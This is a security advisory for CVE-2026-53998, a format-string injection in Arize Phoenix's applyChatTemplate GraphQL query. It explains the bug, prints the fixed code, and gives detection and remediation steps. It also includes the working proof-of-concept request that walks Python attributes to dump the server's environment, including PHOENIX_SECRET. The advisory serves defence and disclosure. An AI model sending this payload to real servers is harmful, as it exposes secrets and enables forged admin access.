CVE
CVE-2026-53998
CWE
CWE-134, CWE-200, CWE-306
Affected Surface
- PyPI `arize-phoenix` `>= 13.0.0, < 15.7.0` (13.0.0 released 13 February 2026), and container images built on those versions
- Phoenix servers with authentication disabled (the default), where the GraphQL endpoint is reachable without credentials
- Phoenix servers with authentication enabled, where any account of any role can send the query
TL;DR
Phoenix is Arize’s open-source LLM tracing and evaluation server, installed from PyPI as arize-phoenix. Its prompt playground can render chat templates in an F_STRING format, and the GraphQL query applyChatTemplate does that rendering on the server. From 13.0.0 until 15.7.0 the server rendered those templates with Python’s str.format(). str.format() follows attribute and index lookups inside the braces, so a template like {u.__class__.__bases__[0].__init__.__globals__[_os].environ} walks from a harmless variable to the process environment and returns it in the query response.
The query needs no credentials on a default install, because Phoenix ships with authentication off. With authentication on, any account works, regardless of role. The environment usually holds PHOENIX_SECRET, which signs Phoenix’s JWTs and derives the key that encrypts stored credentials such as LLM provider API keys and OAuth tokens. With it an attacker can mint admin sessions and decrypt those secrets.
Arize fixed the bug in 15.7.0 on 13 May 2026, listed as a bug fix in the release notes. The advisory, including a copy-paste PoC, went public on 9 November, and NVD published the CVE with a CVSS 3.1 score of 10.0 on 16 November. When we checked on 17 November the global GitHub Advisory Database had no reviewed entry, so Dependabot and similar tools may not flag old pins yet.
What to do now:
- Upgrade
arize-phoenixto 15.7.0 or later. The current release is 21.0.0. - If a vulnerable version was reachable by anyone you don’t fully trust, assume its environment was read. Rotate
PHOENIX_SECRETand every other secret in the server’s environment, and rotate the provider keys stored in Phoenix. - Turn on authentication and keep Phoenix off the public internet. The fix hardens the formatter, but
applyChatTemplatestill has no auth check of its own onmain.
Affected packages and projects
| Ecosystem | Package | Affected versions | Fixed or safe version |
|---|---|---|---|
| PyPI | arize-phoenix | >= 13.0.0, < 15.7.0 | 15.7.0 (13 May 2026); latest 21.0.0 (30 October 2026) |
The repository advisory lists the vulnerable range as >= 13.0.0 with v15.7.0 as the patched version but no upper bound on the range. NVD, ENISA’s EUVD and the fix commit all agree the bug is gone in 15.7.0. If a scanner flags a current Phoenix release for this CVE, that’s the range metadata, not a regression.
Technical analysis
1. The vulnerable formatter (src/phoenix/utilities/template_formatters.py, v14.8.0)
class FStringTemplateFormatter(TemplateFormatter):
...
def _format(self, template: str, variable_names: Iterable[str], **variables: Any) -> str:
# Wrap dict and list variables to support attribute access (e.g., {user.name})
wrapped_variables = {key: _wrap_value(value) for key, value in variables.items()}
return template.format(**wrapped_variables)
templatecomes straight from the GraphQL request: it’s the text of each message in the chat template.variablesalso comes from the request (templateOptions.variables). Each dict is wrapped in aDotDictso{user.name}works.template.format(...)is Python’s built-in formatter. For a field like{u.__class__}it runsgetattr(u, "__class__"), and for{x[_os]}it runsx["_os"]. Nothing stops the chain.
The authors did try to block private names. DotDict has this guard:
def __getattr__(self, name: str) -> Any:
if name.startswith("_"):
raise AttributeError(name)
raise AttributeError(f"No attribute '{name}'")
Python only calls __getattr__ when normal attribute lookup fails. __class__ and __init__ exist on every object, so lookup succeeds and the guard never runs. The PR that fixed the bug says the same thing: “The DotDict.__getattr__ guard was ineffective because dunders like __class__ are real attributes.”
2. The exploit
The PoC from the advisory is one GraphQL request:
{
"query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
"variables": {
"t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
"o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
}
}
Reading the template field left to right:
uis the variable{"x": 1}, wrapped as aDotDict..__class__isDotDict..__bases__[0]is its parent,argparse.Namespace..__init__.__globals__is the module namespace ofargparse, whereNamespace.__init__is defined.[_os]indexes that namespace.argparsedoesimport os as _os, so this is theosmodule..environis the server’sos.environ, whichstr.format()renders withstr()and returns as the message text.
The same pattern reaches any module global the chain can see. That includes Phoenix’s own configuration constants, which is why the advisory also lists server paths and module state.
applyChatTemplate is a plain @strawberry.field on the root Query type with no permission class. In 15.7.0 and on main it still looks like this:
@strawberry.field
async def apply_chat_template(
self,
template: PromptChatTemplateInput,
template_options: PromptTemplateOptions,
input_mapping: Optional[EvaluatorInputMappingInput] = None,
) -> PromptChatTemplate:
So the fix closes the traversal, but the resolver is still reachable without login when authentication is off.
3. The fix (commit e7224a6)
Arize replaced str.format() with a string.Formatter subclass that resolves each field itself and refuses any attribute name that starts with an underscore:
+class _SafeFieldFormatter(Formatter):
+ def get_field(self, field_name: str, args: Any, kwargs: Any) -> Any:
+ first = re.match(r"^[^.\[\]]*", field_name).group(0) # type: ignore[union-attr]
+ rest = field_name[len(first) :]
+ key: Any = int(first) if first.isdigit() else first
+ obj = self.get_value(key, args, kwargs)
+ for attr, index in _FIELD_NAME_PART_RE.findall(rest):
+ if attr:
+ if attr.startswith("_"):
+ raise TemplateFormatterError(
+ f"Access to attribute '{attr}' is not permitted in templates"
+ )
+ obj = getattr(obj, attr)
+ else:
+ obj = obj[int(index) if index.lstrip("-").isdigit() else index]
+ return obj, first
...
- return template.format(**wrapped_variables)
+ return self._formatter.vformat(template, (), wrapped_variables)
get_fieldis the hookstring.Formattercalls for each{...}field. Overriding it puts the check in the one place every lookup passes through, which is what the reporter recommended._FIELD_NAME_PART_REsplits.attrand[index]parts. Every.attrthat starts with_raises, so the chain breaks at.__class__.- Index lookups (
[_os]) are not filtered, but you can’t reach a module namespace by indexing without first going through a dunder attribute. {user.name}and{items[0].value}still work.
The regression tests in the same commit include the exact PoC string ({u.__class__.__bases__[0].__init__.__globals__}) and confirm the Mustache formatter, which uses pystache dict lookups, was never affected.
IOCs
No in-the-wild exploitation has been reported, and there are no network indicators. The exploit leaves these traces:
- GraphQL requests to
/graphqlwhoseoperationNameor query text containsapplyChatTemplateand whose variables containF_STRINGtogether with__class__,__globals__,__init__,__bases__orenviron. - On patched servers, errors containing
Access to attribute '__class__' is not permitted in templatesmean someone tried. - Admin sessions or API keys that nobody on your team created, which would point to a forged JWT after
PHOENIX_SECRETwas read.
Detection and remediation
Find vulnerable installs:
pip show arize-phoenix 2>/dev/null | grep -i '^version'
python -c "import phoenix; print(phoenix.__version__)"
# Pins in requirements and pyproject files (anything from 13.0.0 to 15.6.x is affected)
grep -rnE 'arize-phoenix' --include='requirements*.txt' --include='pyproject.toml' . 2>/dev/null
# Resolved versions in lockfiles
grep -nA1 '^name = "arize-phoenix"$' poetry.lock uv.lock 2>/dev/null
jq -r '.default["arize-phoenix"].version // empty' Pipfile.lock 2>/dev/null
# Kubernetes and Docker images
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep -i phoenix
Test your own instance with a probe that only reveals a class name. On 15.6.x or earlier the response text is <class 'phoenix.utilities.template_formatters.DotDict'>. On 15.7.0 or later you get the “not permitted” error:
curl -s https://phoenix.internal.example.com/graphql -H 'Content-Type: application/json' -d '{
"query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
"variables": {"t": {"messages": [{"role": "USER", "content": [{"text": {"text": "{u.__class__}"}}]}]},
"o": {"format": "F_STRING", "variables": {"u": {"x": 1}}}}
}'
Search reverse-proxy or WAF logs that record request bodies:
zgrep -hE 'applyChatTemplate' /var/log/nginx/*access*.gz /var/log/waf/* 2>/dev/null \
| grep -E '__class__|__globals__|__init__|environ' | head
Then:
- Upgrade to
arize-phoenix>=15.7.0and redeploy. - Rotate
PHOENIX_SECRET. Stored credentials are encrypted with keys derived from it, so read Phoenix’s documentation on secret rotation first and plan to re-enter the provider keys and OAuth secrets stored in Phoenix. - Rotate everything else that was in the server’s environment: database URLs and passwords, LLM provider API keys, OAuth client secrets, cloud credentials and SMTP passwords.
- Revoke Phoenix API keys and sessions, and review the user list for admins you didn’t create.
- Set
PHOENIX_ENABLE_AUTH=trueand put the server behind your SSO proxy or VPN.
Timeline
- 2026-02-13:
arize-phoenix13.0.0, the first affected release, according to the reporter. - 2026-04-16: 14.8.0 uploaded to PyPI. The reporter’s advisory names it as the latest confirmed vulnerable release at the time of the report.
- 2026-05-13 01:08 UTC: PR #13197 merged as
e7224a6. - 2026-05-13 01:18 UTC: 15.7.0 uploaded to PyPI. The release notes describe the change as format-string injection prevention.
- 2026-10-30: 21.0.0 released.
- 2026-11-09 15:47 UTC: Arize publishes GHSA-gfv3-m769-5xm3 with the reporter’s PoC.
- 2026-11-16 19:50 UTC: ENISA EUVD publishes EUVD-2026-126621. NVD publishes
CVE-2026-53998at20:19 UTCwith CVSS 3.110.0(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L). - 2026-11-17: No reviewed entry in the global GitHub Advisory Database yet.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- GitHub advisory GHSA-gfv3-m769-5xm3: Format String Injection in applyChatTemplate (Arize-ai/phoenix, published 9 November 2026)
- Fix: Arize-ai/phoenix PR #13197, prevent format-string injection in f-string template formatter (commit e7224a6)
- arize-phoenix v15.7.0 release (13 May 2026)
- Arize Phoenix release notes (13 May 2026): Security, Format-String Injection Prevention
- ENISA EUVD-2026-126621 (CVE-2026-53998)
- NVD: CVE-2026-53998